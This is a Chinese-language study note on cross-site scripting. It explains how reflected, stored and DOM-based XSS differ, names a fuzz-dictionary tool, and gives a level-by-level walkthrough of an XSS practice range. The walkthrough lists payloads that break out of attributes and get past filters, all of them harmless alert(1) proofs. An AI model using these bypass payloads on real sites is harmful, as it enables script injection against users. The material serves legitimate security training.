1.总结反射型、存储型、DOM型XSS特点和区别
跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web应用程序安全漏洞,它允许攻击者在用户的浏览器中注入恶意脚本。根据攻击方式的不同,XSS攻击可以分为三种主要类型:反射型、存储型以及DOM型XSS。下面是对这三种XSS攻击的特点和区别的总结:
1.1反射型XSS
定义:攻击者通过诱使受害者点击包含恶意脚本的链接或者提交恶意数据到Web应用程序中,这些恶意数据被Web应用程序未经处理地返回给用户的浏览器,并被执行。
特点:攻击者需要诱导用户点击包含恶意脚本的链接。恶意脚本不会保存在服务器端,而是直接在请求参数中传递。通常出现在搜索结果、错误消息或其他动态生成的内容中。
1.2 存储型XSS
定义:攻击者将恶意脚本注入到Web应用程序的数据存储中,如数据库或文件系统。当其他用户访问包含恶意脚本的内容时,恶意脚本会被加载并在用户的浏览器中执行。
特点:恶意脚本被永久存储在服务器端。每当恶意数据被加载时,恶意脚本都会被执行。常见于论坛帖子、博客评论和其他用户生成的内容区域。
1.3DOM型XSS
定义:这种类型的XSS发生在客户端的Document Object Model (DOM)环境中,即恶意脚本是在浏览器的DOM环境中生成的,而不是直接来自服务器响应。
特点:恶意脚本通常源于用户的输入或外部数据源。攻击者利用Web应用程序在客户端对数据的处理漏洞。攻击发生时,服务器响应本身不包含恶意脚本。
1.4总结
反射型XSS是通过用户点击含有恶意脚本的链接或提交恶意数据触发的,不保存在服务器端。
存储型XSS是将恶意脚本存储在服务器端的数据存储中,通过加载这些数据来触发。
DOM型XSS利用的是客户端的DOM环境,恶意脚本由客户端生成,而不是直接来自服务器响应。
每种类型的XSS都有其独特的攻击路径和防护策略,了解这些差异有助于更好地防范XSS攻击。
2. fuzz字典生成工具
工具:upload-fuzz-dic-builder
工具地址:https://github.com/c0ny1/upload-fuzz-dic-builder
3.XSS挑战靶场打靶
Level 1
在name=test改为name=<script>alert(1)</script>
Level 2
输入<script>alert(1)</script>
查看代码发现注入的payload变为字符串
闭合合掉<script>alert(1)</script>前面的语句,"><script>alert(1)</script>
"><script>alert(111)</script>//
Level 3
输入"><script>alert(1)</script>
查看源码
发现将<,>转义了,猜测服务器端在这两处都用htmlspecialchars()函数进行了处理;观察源代码为单引号闭合,把value闭合掉构造playload
输入'οnclick='alert(1)
Level 4
输入" οnclick="alert(1)
Level 5
输入<script>alert(1)</script>
<script>标签被换成了<scr_ipt>导致代码无法执行
onclick被替换成o_nclick,可以推测搜索框中的 payload 可能是匹配到关键字进行的替代。
用a标签的href 属性来构造
"><a href="javascript:alert(1)">b</a>//